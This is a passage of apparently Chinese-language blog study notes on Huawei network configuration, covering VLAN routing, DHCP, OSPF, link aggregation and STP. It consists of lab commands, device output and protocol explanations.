g0/0/0[R1-GigabitEthernet0/0/0]undo ip add 192.168.1.254 24[R1-GigabitEthernet0/0/1]q[R1]int g0/0/0.? &lt;1-4096&gt; GigabitEthernet interface subinterface number[R1]int g0/0/0.10[R1-GigabitEthernet0/0/0.10]dot1q termination vid 10[R1-GigabitEthernet0/0/0]int g0/0/0.10[R1-GigabitEthernet0/0/0.10]ip add 192.168.1.254 24[R1-GigabitEthernet0/0/0.10]arp broadcast enable [R1-GigabitEthernet0/0/0.10]int g0/0/0.20[R1-GigabitEthernet0/0/0.20]dot1q termination vid 20[R1-GigabitEthernet0/0/0.20]ip add 192.168.2.254 24[R1-GigabitEthernet0/0/0.20]arp broadcast enable &lt;R1&gt;dis cu# sysname R1#interface GigabitEthernet0/0/0#interface GigabitEthernet0/0/0.10 dot1q termination vid 10 ip address 192.168.1.254 255.255.255.0 arp broadcast enable#interface GigabitEthernet0/0/0.20 dot1q termination vid 20 ip address 192.168.2.254 255.255.255.0 arp broadcast enable# SW1[SW1-GigabitEthernet0/0/1]int g0/0/1[SW1-GigabitEthernet0/0/1]undo port default vlan[SW1-GigabitEthernet0/0/1]undo port link-type[SW1-GigabitEthernet0/0/1]int g0/0/2[SW1-GigabitEthernet0/0/2]undo port default vlan[SW1-GigabitEthernet0/0/2]undo port link-type[SW1-GigabitEthernet0/0/2]int g0/0/3[SW1-GigabitEthernet0/0/3]undo port default vlan[SW1-GigabitEthernet0/0/3]undo port link-type[SW1-GigabitEthernet0/0/3]int g0/0/4[SW1-GigabitEthernet0/0/4]undo port default vlan[SW1-GigabitEthernet0/0/4]undo port link-type [SW1-GigabitEthernet0/0/4][SW1-GigabitEthernet0/0/4]int g0/0/1[SW1-GigabitEthernet0/0/1]port link-type trunk [SW1-GigabitEthernet0/0/1]port trunk allow-pass vlan 10 20[SW1-GigabitEthernet0/0/1]int g0/0/2[SW1-GigabitEthernet0/0/2]port link-type access [SW1-GigabitEthernet0/0/2]port default vlan 10[SW1-GigabitEthernet0/0/2]int g0/0/3[SW1-GigabitEthernet0/0/3]port link-type access [SW1-GigabitEthernet0/0/3]port default vlan 20&lt;SW1&gt;dis cu#sysname SW1#vlan batch 10 20#interface GigabitEthernet0/0/1 port link-type trunk port trunk allow-pass vlan 10 20#interface GigabitEthernet0/0/2 port link-type access port default vlan 10#interface GigabitEthernet0/0/3 port link-type access port default vlan 20# SVI 接口 三层交换机 vlanif三层交换 SVI 接口：交换机虚拟接口，只逻辑存在，每一个 SVI 接口对应一个 VLAN, 可以配置 IP 地址，可以和 VLAN 内设备通信，并且可以生成路由信息，实现基本路由功能. SW2[SW2]vlan batch 10 20[SW2]int g0/0/1[SW2-GigabitEthernet0/0/1]p l a[SW2-GigabitEthernet0/0/1]p d vlan 10[SW2-GigabitEthernet0/0/1]int g0/0/2[SW2-GigabitEthernet0/0/2]p l a[SW2-GigabitEthernet0/0/2]p d vlan 20[SW2]int Vlanif 10[SW2-Vlanif10]ip add 192.168.1.254 24[SW2-Vlanif10]int vlanif 20[SW2-Vlanif20]ip add 192.168.2.254 24[SW2-Vlanif20]dis cu#sysname SW2#vlan batch 10 20#interface Vlanif1#interface Vlanif10 ip address 192.168.1.254 255.255.255.0#interface Vlanif20 ip address 192.168.2.254 255.255.255.0#interface MEth0/0/1#interface GigabitEthernet0/0/1 port link-type access port default vlan 10#interface GigabitEthernet0/0/2 port link-type access port default vlan 20# 应用场景单臂路由适用于小型企业网或特殊网络. 大中型企业网一般使用三层交换实现局域网内部通信. 多层交换机和路由器的区别多层交换机具备一定的基础路由功能，可以在某些场景下代替路由器。但交换机的功能相对单一，路由器可以实现不同协议之间的数据转发. 一般三层交换机不支持 NAT, 所以在企业网边缘需要路由器或防火墙. 三层交换机一般用于企业内部数据转发以及控制. 路由器一般用于企业边界数据转发. 单臂路由 - 三层交换机 - DHCP SW1#sysname SW1#vlan batch 10 to 30#interface GigabitEthernet0/0/1 port link-type trunk port trunk allow-pass vlan 10 20#interface GigabitEthernet0/0/2 port link-type access port default vlan 10#interface GigabitEthernet0/0/3 port link-type access port default vlan 20# R1# sysname R1#dhcp enable#ip pool PC gateway-list 30.1.1.254 network 30.1.1.0 mask 255.255.255.0 lease day 0 hour 0 minute 10 dns-list 114.114.114.114 #interface GigabitEthernet0/0/0#interface GigabitEthernet0/0/0.10 dot1q termination vid 10 ip address 10.1.1.254 255.255.255.0 arp broadcast enable dhcp select interface dhcp server lease day 0 hour 0 minute 30 dhcp server dns-list 114.114.114.114 #interface GigabitEthernet0/0/0.20 dot1q termination vid 20 ip address 20.1.1.254 255.255.255.0 arp broadcast enable dhcp select interface dhcp server lease day 0 hour 0 minute 30 dhcp server dns-list 114.114.114.114 #interface GigabitEthernet0/0/1 ip address 12.1.1.1 255.255.255.0 dhcp select global##ip route-static 30.1.1.0 255.255.255.0 12.1.1.2# SW2#sysname SW2#vlan batch 10 to 30#dhcp enable##interface Vlanif12 ip address 12.1.1.2 255.255.255.0#interface Vlanif30 ip address 30.1.1.254 255.255.255.0 dhcp select relay dhcp relay server-ip 12.1.1.1#interface GigabitEthernet0/0/1 port link-type access port default vlan 12#interface GigabitEthernet0/0/2 port link-type access port default vlan 30#interface GigabitEthernet0/0/3 port link-type access port default vlan 30##ip route-static 0.0.0.0 0.0.0.0 12.1.1.1#"},{"title":"","date":"2023-12-26T06:00:00.000Z","updated":"2023-12-26T06:00:00.000Z","comments":true,"path":"notes/datacom/16.html","permalink":"https://blog.mhuig.top/notes/datacom/16","excerpt":"","text":"OSPF 基础 OSPF 基础 动态路由AS (自治系统): 由同一个技术机构进行管理并且运行相同的路由选路策略的一组路由器. 动态路由分类按照使用范围分类: IGP: 内部网关协议，运行于 AS 内部的路由协议 (RIP, OSPF, IS-IS) EGP: 外部网关协议，运行于 AS 之间的路由协议 (BGP) 按照算法分类: 距离矢量路由协议：通过距离和矢量两个参数来描述一个路由信息进行计算，距离指的是由多远能到达目标 (开销，跳数). (RIP, BGP) 链路状态路由协议：通过每台路由器自动生成链路状态信息，通过在一定的区域内交互链路状态信息，得到区域内完整的拓扑，最终通过最短路径树算法，计算得到最优的树状路径. (OSPF IS-IS) 按照主类进行分类: 有类路由协议：在传递信息时，不携带掩码，根据传递路由的主类网络以及接收路由的接口掩码的配置，自动计算路由. (RIPv1) 无类路由协议：在传递信息时，协议带子网掩码，可以支持更广泛的应用，支持 VLSM, CIDR. (RIPv2, OSPF, IS-IS, BGP) 动态路由特点路由器通过动态路由协议自动计算得到的路由信息可以根据网络的变化自动进行路由表的改变. 可以减少网络的管理任务. 动态路由协议会占用部分网络的带宽. 可以实现路由的自动调整. 链路状态LS: 链路状态，设备直接相连的网络或节点信息. LSA: 链路状态通告. LSDB: 链路状态数据库，是所有 LSA 的集合. SPF: 最短路径树算法. OSPF 工作原理 建立邻居关系. 泛洪 LSA, 并同步 LSDB. 根据 SPF 算法计算最优路径. 将计算得出的路由放入到路由表中. 区域AREA: 区域，OSPF 通过区域可以实现网络的分层，并实现管理域的隔离，缩小 LSDB 的规模，每个 OSPF 设备在运行时需要指定接口所在的区域，每个区域会有一个区域号进行标识，一般写作点分十进制。区域是从逻辑上将设备分为不同的组. OSPF 区域分为两层: 骨干区域：固定的区域号为 0 或 0.0.0.0 必须有且只能有一个. 非骨干区域: AS 内可以存在多个非骨干区域，区域号非 0, 所有的非骨干区域和骨干区域相连，非骨干区域之间不能相连. 路由器角色IR: 区域内部路由器，所有的接口属于同一个 OSPF 区域的路由器. BR: 骨干路由器，至少有一个路由器接口运行于 OSPF 的骨干区域的路由器. ABR: 区域边界路由器，连接多个区域且所连接的区域中包括骨干区域的路由器. ASBR: 自治系统边界路由器，OSPF 中，AS 和 AS 相连的路由，一般在 ASBR 上将其他 AS 路由注入进 OSPF 中形成 OSPF 外部路由. Router-ID32bit 的无符号整数，每个 OSPF 设备在网络中的唯一标识，经常用点分十进制表示，每个设备在运行 OSPF 的 AS 内都有唯一的 RID. 生成规则 如果手工配置了 RID, 则手工配置优先. 如果没有手工配置，则设备会使用最大的 lookback 接口 IP 作为 RID. 如果没有 lookback 接口，则优选物理接口最大的 IP 地址作为 RID. 全局 RID默认情况下，设备的全局标识. 协议 RID默认情况下，路由协议会使用全局 RID 作为协议 RID, 如果手工指定协议 RID, 则优先使用手工指定的 RID. CostOSPF 以 cost 作为度量值，是一个 16bit 正整数，取值范围 1-65535, 数值越小越优. OSPF 计算的开销是到达目的网络所有链路的总开销，从目的到本设备的入向接口开销总和. cost 只与带宽有关. cost = 参考带宽值 / 接口带宽值 (参考带宽值 100Mbit/s) 如果修改参考带宽值，所有 OSPF 设备都要修改. OSPF 报文Hello: 用于发现，建立以及维持邻居关系. DD: 数据库描述信息，相当于 LSDB 的摘要信息，在路由器之间选举主从. LSR: 链路状态请求，用于请求特定的 LSA. LSU: 链路状态更新，用于响应 LSR, 进行 LSA 的更新. LSACK: 链路状态确认，对 LSU 中的信息进行确认. 建立邻居关系R1 R2down ==&gt; hello (RID: 1.1.1.1 neighbor list: null) ==&gt; init &lt;== hello (RID: 2.2.2.2 neighbor list: 1.1.1.1) &lt;==2-way init ==&gt; hello (RID: 1.1.1.1 neighbor list: 2.2.2.2) ==&gt; 2-wayEXstart ==&gt; DD (1.1.1.1) X ===============================&gt; &lt;== DD (2.2.2.2) Y &lt;===============================EXchange ==&gt; DD (LSDB) Y ===============================&gt; &lt;== DD (LSDB) Y+1 &lt;=============================== EXchange ==&gt; DD Y+1 ===============================&gt;Loading ==&gt; LSR ================================&gt; &lt;== LSU &lt;================================ ==&gt; LSACK ================================&gt; ..........Full Full OSPF 状态机DOWN: 表示 OSPF 失效状态，当前状态下无法和其他路由器建立邻居关系. Init: 初始化状态，表示收到 OSPF Hello 报文，但报文中不包含自身的 RID, 也就是此时其他路由器并不知道自身的存在. 2-way: 双向通信状态，表示收到 OSPF Hello 报文，且收到的报文中包含自身设备的 RID, 此时已经和邻居建立双向通信. EXstart: OSPF 设备会交互空的 DD 报文用于 OSPF 邻接关系的主从选举. EXchange: OSPF 会发送 DD 报文来描述自身数据库信息. Loading: OSPF 设备通过发送 LSR 对特定的 LSA 进行请求，并等待对方更新。被请求设备将 LSA 放入到 LSU 中发送过去，并等待对方的 ACK. 收到的设备需要对其确认. FULL: 当 LSDB 同步完成时，进入此状态也就是邻接状态. OSPF 邻接状态建立过程第一步: 当邻居状态变为 EXstart 时，RTA 回会向 RTB 发送第一个 DD 报文，在这个报文中，序列号为 X, RTA 宣告自己为主路由器. 此时 RTB 也向 RTA 发送自己的第一个 DD 报文，在这个报文中，假设 DD 报文的序列号为 Y, RTB 也宣告自己为主路由器，由于 RTB 的 RID 比 RTA 大，所以 RTB 成为真正的主路由器. 第二步: RTA 发送一个新的 DD 报文，在这个报文中，携带着 LSDB 的描述信息。序列号设置为 RTB 在上一个 DD 报文中的序列号，此时 RTB 的状态改为 EXchange. 第三步: 邻居状态变为 EXchange 之后，RTB 发送一个新的 DD 报文，该报文包含着 LSDB 的描述信息，DD 报文的序列号为 Y+1 (上次使用的序列号 + 1). 第四步: 即使 RTA 不需要新的 DD 报文来描述自己的 LSDB, 但作为从路由器，RTA 需要对主路由器 RTB 发送的每一个 DD 报文进行确认，所以，RTA 向 RTB 发送一个内容为空的 DD 报文，序列号采用 RTB 上次发送的序列号 (表示确认). 第五步: 发送完最后一个 DD 报文后，RTA 将状态改为 Loading, RTB 收到最后一个 DD 报文后状态改为 FULL (假设 RTB 的 LSDB 是完整的，不需要向 RTA 请求更新). OSPF 所支持的网络类型 BMA: 广播型多路访问，当链路层为以太网时，此网络中带有广播功能，也是 OSPF 默认的网路类型，在此网络类型下需要进行 DR 和 BDR 的选举. NBMA: 非广播型多路访问，无法发送广播和组播报文，只能够通过单播形式来寻找邻居，在此网络类型下，也会进行 DR 和 BDR 的选举. P2P: 点到点网络，接口通过点到点的形式与另一台路由器相连，在此网络类型下不需要选举 DR 和 BDR. P2MP: 点到多点，是一种特殊的网络类型，P2MP 必须由其他网络类型强制修改，不选举 DR 和 BDR. 对于不同网络类型的区别 网络类型 Hello Dead DR/BDR BMA 10 40 选举 NBMA 30 120 选举 P2P 10 40 无 P2MP 30 120 无 DR/BDR不用 DR 邻接关系数量: 使用 DR 邻接关系数量: 在 MA 网络中有 N 台设备且形成两两邻接关系则网络内邻接关系数量为 . 在 MA 网络中设备之间建立邻接关系，需要维护的邻接关系随着设备的增加而大幅度增加。每两台设备之间两两交互 LSA, 会导致 LSA 的重复发送，导致网络计算效率低. DR: 指定路由器，在每个 OSPF 的 MA 网络中，都会选举一个 DR 设备，DR 设备会和每台设备建立邻接关系，并交互 LSA, 同时将自身收集到的 LSA 交互给每台设备. BDR: 备份指定路由器，为了防止 DR 设备失效造成的单点故障，在 MA 网络中也会选举 BDR 设备，BDR 也会与其他成员建立邻接关系，同时监听 DR 的状态，如果 DR 失效，则 BDR 成为新的 DR. DR Other: 除 DR 以外其他路由器，DR Other 之间只建立邻居关系. 每一个广播范围内选择一个 DR/BDR. 2-way 状态下完成 DR/BDR 选举. DR 和 BDR 选举每台运行 OSPF 的路由器都有接口优先级。默认值 1. 当优先级为 0 时，表示该设备放弃参选. 255 最大值. 优先级大于 0 的设备进行选举，优先级越大越优. 如果优先级一致，则比较 RID, RID 越大越优. OSPF 的组播组224.0.0.5: 所有的路由器都监听的地址 DR/BDR 发送的 OSPF 报文目标地址都是 224.0.0.5 在广播型网络中所有的路由器都以 224.0.0.5 为目标地址发送 Hello 报文. DR/BDR 会将 LSA 的更新发向 224.0.0.5 224.0.0.6: DR/BDR 监听的地址 DR Other 发送的 OSPF 报文的目标地址为 224.0.0.6 DR Other 会将 LSA 的更新发向 224.0.0.6 Shell - 全局 OSPF 配置 interface LoopBack0 ip address 11.11.11.11 255.255.255.255 #ospf 1 router-id 1.1.1.1 // 创建OSPF进程, 配置RID area 0.0.0.0 // 创建区域 network 11.11.11.11 0.0.0.0 // 宣告接口 network 12.1.1.1 0.0.0.0 ######################[R1]dis ip routing-tableRoute Flags: R - relay, D - download to fib------------------------------------------------------------------------------Routing Tables: Public Destinations : 11 Routes : 11 Destination/Mask Proto Pre Cost Flags NextHop Interface 11.11.11.11/32 Direct 0 0 D 127.0.0.1 LoopBack0 12.1.1.0/24 Direct 0 0 D 12.1.1.1 GigabitEthernet0/0/0 12.1.1.1/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 12.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 22.22.22.22/32 OSPF 10 1 D 12.1.1.2 GigabitEthernet0/0/0 23.1.1.0/24 OSPF 10 2 D 12.1.1.2 GigabitEthernet0/0/0 33.33.33.33/32 OSPF 10 2 D 12.1.1.2 GigabitEthernet0/0/0 127.0.0.0/8 Direct 0 0 D 127.0.0.1 InLoopBack0 127.0.0.1/32 Direct 0 0 D 127.0.0.1 InLoopBack0127.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0255.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0[R1]dis int brief PHY: Physical*down: administratively down(l): loopback(s): spoofing(b): BFD down^down: standby(e): ETHOAM down(d): Dampening SuppressedInUti/OutUti: input utility/output utilityInterface PHY Protocol InUti OutUti inErrors outErrorsGigabitEthernet0/0/0 up up 0% 0% 0 0GigabitEthernet0/0/1 down down 0% 0% 0 0GigabitEthernet0/0/2 down down 0% 0% 0 0LoopBack0 up up(s) 0% 0% 0 0NULL0 up up(s) 0% 0% 0 0 Shell - 接口下 OSPF 配置[R1]interface LoopBack0[R1-LoopBack0]ospf enable 1 area 0[R1-LoopBack0]dis th[V200R003C00]#interface LoopBack0 ip address 11.11.11.11 255.255.255.255 ospf enable 1 area 0.0.0.0#return OSPF 实验 R1# sysname R1#interface GigabitEthernet0/0/0 ip address 12.1.1.1 255.255.255.0 #interface GigabitEthernet0/0/1 ip address 13.1.1.1 255.255.255.0 #interface GigabitEthernet0/0/2 ip address 14.1.1.1 255.255.255.0 #interface LoopBack0 ip address 1.1.1.1 255.255.255.255 #ospf 1 router-id 1.1.1.1 area 0.0.0.0 network 1.1.1.1 0.0.0.0 network 12.1.1.1 0.0.0.0 network 13.1.1.1 0.0.0.0 network 14.1.1.1 0.0.0.0 # R2# sysname R2#interface GigabitEthernet0/0/0 ip address 12.1.1.2 255.255.255.0 #interface GigabitEthernet0/0/1 ip address 24.1.1.2 255.255.255.0 #interface GigabitEthernet0/0/2 ip address 23.1.1.2 255.255.255.0 #interface NULL0#interface LoopBack0 ip address 2.2.2.2 255.255.255.255 #ospf 1 router-id 2.2.2.2 area 0.0.0.0 network 2.2.2.2 0.0.0.0 network 12.1.1.2 0.0.0.0 network 23.1.1.2 0.0.0.0 network 24.1.1.2 0.0.0.0 # SW3#sysname SW3#vlan batch 10 to 80#stp disable#dhcp enable#interface Vlanif10 ip address 13.1.1.3 255.255.255.0#interface Vlanif30 ip address 34.1.1.3 255.255.255.0#interface Vlanif40 ip address 23.1.1.3 255.255.255.0#interface Vlanif50 ip address 192.168.1.254 255.255.255.0 dhcp select interface dhcp server lease day 0 hour 0 minute 10 dhcp server dns-list 8.8.8.8#interface GigabitEthernet0/0/1 port link-type access port default vlan 10#interface GigabitEthernet0/0/2 port link-type access port default vlan 50#interface GigabitEthernet0/0/3 port link-type access port default vlan 40#interface GigabitEthernet0/0/4 port link-type access port default vlan 30#interface LoopBack0 ip address 3.3.3.3 255.255.255.255#ospf 1 router-id 3.3.3.3 area 0.0.0.0 network 3.3.3.3 0.0.0.0 network 13.1.1.3 0.0.0.0 network 23.1.1.3 0.0.0.0 network 34.1.1.3 0.0.0.0 network 192.168.1.254 0.0.0.0# SW4#sysname SW4#vlan batch 10 to 80#stp disable#dhcp enable#interface Vlanif20 ip address 24.1.1.4 255.255.255.0#interface Vlanif30 ip address 34.1.1.4 255.255.255.0#interface Vlanif60 ip address 192.168.2.254 255.255.255.0 dhcp select interface dhcp server lease day 0 hour 0 minute 10 dhcp server dns-list 8.8.8.8#interface Vlanif70 ip address 14.1.1.4 255.255.255.0#interface GigabitEthernet0/0/1 port link-type access port default vlan 20#interface GigabitEthernet0/0/2 port link-type access port default vlan 60#interface GigabitEthernet0/0/3 port link-type access port default vlan 70#interface GigabitEthernet0/0/4 port link-type access port default vlan 30#interface LoopBack0 ip address 4.4.4.4 255.255.255.255#ospf 1 router-id 4.4.4.4 area 0.0.0.0 network 4.4.4.4 0.0.0.0 network 24.1.1.4 0.0.0.0 network 14.1.1.4 0.0.0.0 network 34.1.1.4 0.0.0.0 network 192.168.2.254 0.0.0.0# SW5#sysname SW5#stp disable#vlan batch 50 60#interface GigabitEthernet0/0/1 port link-type access port default vlan 50#interface GigabitEthernet0/0/2 port link-type access port default vlan 60#interface GigabitEthernet0/0/3 port link-type access port default vlan 50#interface GigabitEthernet0/0/4 port link-type access port default vlan 60# Shell-Displaydisplay bridge mac-address // 查看 macdisplay this // 查看当前视图display current-configuration // 查看当前配置display ip interface brief // 查看接口IPdisplay ip routing-table // 查看路由display port vlan 查看 vlan // 和接口display ospf peer brief // 查看 OSPF 对等统计信息"},{"title":"","date":"2024-01-08T06:00:00.000Z","updated":"2024-01-08T06:00:00.000Z","comments":true,"path":"notes/datacom/18.html","permalink":"https://blog.mhuig.top/notes/datacom/18","excerpt":"","text":"以太网链路聚合 以太网链路聚合 链路聚合以太捆绑端口聚合，是将多台以太链路捆绑成一条逻辑链路，从而实现带宽的增加和链路的冗余，提高网络可靠性. 链路聚合优点链路聚合能够提高链路带宽：理论上通过聚合几条链路，一个聚合组的带宽可以扩展为被绑定链路带宽总和，有效的增加了逻辑链路带宽. 网络可靠性：配置链路聚合后，如果某一条链路失效，那么聚合的其他链路依旧可以转发数据. 支持负载均衡：一个聚合组可以把流量分散到不同的被聚合的物理链路上，通过多个链路将数据发送到同一个目的地，将网络拥塞的可能降低. 链路聚合分为动态协商聚合和手工聚合. 手工聚合手工聚合只要接口被加入到聚合组中，那么接口的状态就会 UP, 只关心自己到对端的状态，不关心对端设备的状态，如果对端设备出现故障，本端设备依旧认为对端的端口 UP, 但是不知道对端已经不具备转发能力. 动态聚合动态聚合: LACP 模式，聚合组中存在活动链路和非活动链路，在 LACP 模式下，会选举主动端和被动端，被动端根据主动端选举出来的活跃接口来确定自己对应的活跃接口. 主动端和被动端选举: 1. 根据设备的优先级选举，优先级数值越小越优先，默认 32768. 2. 如果优先级相同，则比较设备的 MAC 地址，MAC 地址越小越优 活跃链路选举: 1. 当设备通过命令设置了活跃链路数量，会根据接口的优先级进行活跃链路选举，优先级越小越优，32768. 2. 如果优先级相同，则比较端口号，数值越小越优. Shell 手工聚合SW1[SW1]int Eth-Trunk [SW1]int Eth-Trunk ? &lt;0-63&gt; Eth-Trunk interface number[SW1]int Eth-Trunk 12[SW1-Eth-Trunk12]trunkport g 0/0/1 to 0/0/4[SW1]display interface Eth-Trunk 12Eth-Trunk12 current state : UPLine protocol current state : UPDescription:Switch Port, PVID : 1, Hash arithmetic : According to SIP-XOR-DIP,Maximal BW: 4G, Current BW: 4G, The Maximum Frame Length is 9216IP Sending Frames' Format is PKTFMT_ETHNT_2, Hardware address is 4c1f-cc7c-1cd9Current system time: 2024-01-08 11:57:24-08:00 Input bandwidth utilization : 0% Output bandwidth utilization : 0%-----------------------------------------------------PortName Status Weight-----------------------------------------------------GigabitEthernet0/0/1 UP 1GigabitEthernet0/0/2 UP 1GigabitEthernet0/0/3 UP 1GigabitEthernet0/0/4 UP 1-----------------------------------------------------The Number of Ports in Trunk : 4The Number of UP Ports in Trunk : 4 SW2[SW2]int Eth-Trunk 12[SW2-Eth-Trunk12]trunkport g 0/0/1 to 0/0/4 动态聚合SW3[SW3]int Eth-Trunk 34[SW3-Eth-Trunk34]mode lacp-static [SW3-Eth-Trunk34]trunkport g 0/0/1 to 0/0/4[SW3-Eth-Trunk34]max active-linknumber 2 SW4[SW4]int Eth-Trunk 34[SW4-Eth-Trunk34]mode lacp-static[SW4-Eth-Trunk34]trunkport g 0/0/1 to 0/0/4[SW4-Eth-Trunk34]max active-linknumber 2[SW4-Eth-Trunk34]dis th#interface Eth-Trunk34 mode lacp-static max active-linknumber 2#[SW4-Eth-Trunk34]display interface Eth-Trunk 34Eth-Trunk34 current state : UPLine protocol current state : UPDescription:Switch Port, PVID : 1, Hash arithmetic : According to SIP-XOR-DIP,Maximal BW: 4G, Current BW: 2G, The Maximum Frame Length is 9216IP Sending Frames' Format is PKTFMT_ETHNT_2, Hardware address is 4c1f-cc43-7170Current system time: 2024-01-08 12:28:39-08:00 Input bandwidth utilization : 0% Output bandwidth utilization : 0%-----------------------------------------------------PortName Status Weight-----------------------------------------------------GigabitEthernet0/0/1 UP 1GigabitEthernet0/0/2 UP 1GigabitEthernet0/0/3 DOWN 1GigabitEthernet0/0/4 DOWN 1-----------------------------------------------------The Number of Ports in Trunk : 4The Number of UP Ports in Trunk : 2[SW4-Eth-Trunk34] 接口优先级 [SW3]lacp priority ? INTEGER&lt;0-65535&gt; Priority value, the default value is 32768[SW3]lacp priority 20[SW3]int g0/0/3[SW3-GigabitEthernet0/0/3]lacp priority 32769[SW3-GigabitEthernet0/0/3]dis int Eth-Trunk 34Eth-Trunk34 current state : UPLine protocol current state : UPDescription:Switch Port, PVID : 1, Hash arithmetic : According to SIP-XOR-DIP,Maximal BW: 4G, Current BW: 2G, The Maximum Frame Length is 9216IP Sending Frames' Format is PKTFMT_ETHNT_2, Hardware address is 4c1f-cc28-2c9fCurrent system time: 2024-01-08 13:54:30-08:00 Input bandwidth utilization : 0% Output bandwidth utilization : 0%-----------------------------------------------------PortName Status Weight-----------------------------------------------------GigabitEthernet0/0/1 UP 1GigabitEthernet0/0/2 UP 1GigabitEthernet0/0/3 DOWN 1GigabitEthernet0/0/4 DOWN 1-----------------------------------------------------The Number of Ports in Trunk : 4The Number of UP Ports in Trunk : 2[SW3-GigabitEthernet0/0/3]int g0/0/2[SW3-GigabitEthernet0/0/2]shutdown[SW3-GigabitEthernet0/0/2][SW3-GigabitEthernet0/0/2]dis int Eth-Trunk 34Eth-Trunk34 current state : UPLine protocol current state : UPDescription:Switch Port, PVID : 1, Hash arithmetic : According to SIP-XOR-DIP,Maximal BW: 4G, Current BW: 2G, The Maximum Frame Length is 9216IP Sending Frames' Format is PKTFMT_ETHNT_2, Hardware address is 4c1f-cc28-2c9fCurrent system time: 2024-01-08 13:54:57-08:00 Input bandwidth utilization : 0% Output bandwidth utilization : 0%-----------------------------------------------------PortName Status Weight-----------------------------------------------------GigabitEthernet0/0/1 UP 1GigabitEthernet0/0/2 DOWN 1GigabitEthernet0/0/3 DOWN 1GigabitEthernet0/0/4 UP 1-----------------------------------------------------The Number of Ports in Trunk : 4The Number of UP Ports in Trunk : 2[SW3-GigabitEthernet0/0/2][SW3]display Eth-Trunk 34Eth-Trunk34's state information is:Local:LAG ID: 34 WorkingMode: STATIC Preempt Delay: Disabled Hash arithmetic: According to SIP-XOR-DIP System Priority: 20 System ID: 4c1f-cc28-2c9f Least Active-linknumber: 1 Max Active-linknumber: 2 Operate status: up Number Of Up Port In Trunk: 2 --------------------------------------------------------------------------------ActorPortName Status PortType PortPri PortNo PortKey PortState WeightGigabitEthernet0/0/1 Selected 1GE 32768 2 8753 10111100 1 GigabitEthernet0/0/2 Unselect 1GE 32768 3 8753 10100010 1 GigabitEthernet0/0/3 Selected 1GE 32769 4 8753 10111100 1 GigabitEthernet0/0/4 Unselect 1GE 32768 5 8753 10100000 1 Partner:--------------------------------------------------------------------------------ActorPortName SysPri SystemID PortPri PortNo PortKey PortStateGigabitEthernet0/0/1 32768 4c1f-cc43-7170 32768 2 8753 10111100GigabitEthernet0/0/2 0 0000-0000-0000 0 0 0 10100011GigabitEthernet0/0/3 32768 4c1f-cc43-7170 32768 4 8753 10111100GigabitEthernet0/0/4 32768 4c1f-cc43-7170 32768 5 8753 10110000"},{"title":"","date":"2024-01-03T06:00:00.000Z","updated":"2024-01-03T06:00:00.000Z","comments":true,"path":"notes/datacom/17.html","permalink":"https://blog.mhuig.top/notes/datacom/17","excerpt":"","text":"STP STP STPSTP: 生成树协议，在以太网中，通过阻塞部分链路形成树状结构，从而消除网络中的环路结构，当主链路发生故障时，被阻塞的链路可以自行恢复转发状态，从而保证网络中链路的可靠性. STP 的作用消除环路：通过阻断多余的链路来消除网络中可能存在的环路. 备份链路：当活动链路出现故障时，激活备份链路，代替活动链路继续进行数据转发. 以太网环路产生的影响 广播风暴：广播帧在以太网中通过泛洪的方式进行数据转发，所以一旦出现环路，则广播帧会在环路中无限都是进行传递，如果 PC 不断发送广播帧，最终可能导致网络数据帧的阻塞，导致网络瘫痪，网络中充斥着重复的广播帧. MAC 地址表的漂移：当产生环路时，MAC 地址表不断的学习和刷新以及删除 MAC 地址表项. 主机收到重复的数据帧. STP 专有名词根桥: ROOT, 是 STP 协议中的逻辑根设备，是 STP 的逻辑中心. BID: 桥 ID, 描述交换机设备的参数，由优先级和 MAC 地址两个部分组成 (16+48), 在比较时先比较优先级，当优先级相同时比较 MAC 地址，越小越优. 桥优先级范围:0-65535, 步长 4096, 缺省值 32768, 最大值 61440. STP 的开销: dot1d: 1-65535 dot1t: 1-200000000 legacy: 1-200000 RPC: 根路径开销，非根交换机到达根的路径开销总和 (从根到该交换机的入方向接口开销总和) PID: 端口 ID, 是由端口优先级和端口编号构成 (8+8). 端口优先级取值范围 0-255, 必须是 16 的倍数，缺省值为 128. STP 计算 选举根桥，比较桥优先级，数值越小越优，如果优先级相同，比较 MAC 地址，MAC 地址越小越优. 在所有非根交换机上选举根端口，根端口只存在于非根交换机，每个非根交换机只有一个根端口. 1. 比较该设备每个端口到达根桥的 RPC, 开销越小越优. 2.RPC 一致时，则比较上游设备的 BID,BID 越小越优. 3. 上游 BID 一致时，则比较上游设备的 PID, 越小越优. 4. 上游设备 PID 一致时，则比较本设备的 PID, 越小越优. 指定桥：本网段内到达根桥的最优设备。每个链路内，选举指定桥，指定桥最优端口为指定端口. 1. 比较链路内的交换机到达根桥的根路径开销，开销数值越小的交换机成为指定桥. 2. 如果开销一致，则比较 BID 大小，越小越优，指定端口一定在指定桥上. 3. 如果指定桥在该链路有多个端口到达根桥，则比较 PID,PID 数值小的成为指定端口. 所剩的非根非指定端口被阻塞，阻塞端口不为用户转发数据，并成为 STP 中的备份链路. STP 计时器Hello Time: STP 协议连续发送 BPDU 报文的间隔，默认 2s. Max Age: 最大寿命，交换机接收 BPDU 的最大间隔，超过 Max Age 还没有接收到 BPDU, 则认为链路失效。默认值 20s. Message Age: BPDU 每经过一个交换机就 + 1, 当超过最大值时则 BPDU 失效，默认值 20. STP 的端口状态1. 禁用状态: disable, 当端口处于禁用或没有正常运行 STP 时. STP 的初始状态，该状态下，接口既不收发 BPDU 也不为用户转发数据. 2. 阻塞状态: blocking, 是端口阻塞的最终状态，交换机在该状态下接收 BPDU, 但不发送 BPDU, 不为用户转发数据，也不会学习 MAC 地址. 3. 监听状态: listening, 是一个过渡状态，在该状态下交换机会收发 BPDU, 通过 BPDU 的交互最终确定端口角色该状态不会学习 MAC 地址，也不为用户转发数据. 等待转发延迟计时器 (15s), 超时进入到 learning 状态. 4. 学习状态: learning, 是一个过渡状态，在该状态下交换机可以收发 BPDU, 可以学习 MAC 地址，为用户转发数据做准备，但不能发送用户数据. 等待转发延迟计时器 (15s), 超时进入到 forwarding 状态. 5. 转发状态: forwarding, 是根端口和指定端口的最终状态，在该状态下可以收发 BPDU, 学习 MAC 地址，收发用户数据. 状态 收 BPDU 发 BPDU 收用户数据 发用户数据 学习 MAC 地址 禁用状态 x x x x x 阻塞状态 v x x x x 监听状态 v v x x x 学习状态 v v v x v 转发状态 v v v v v Shell[SW1]stp enable // 开启 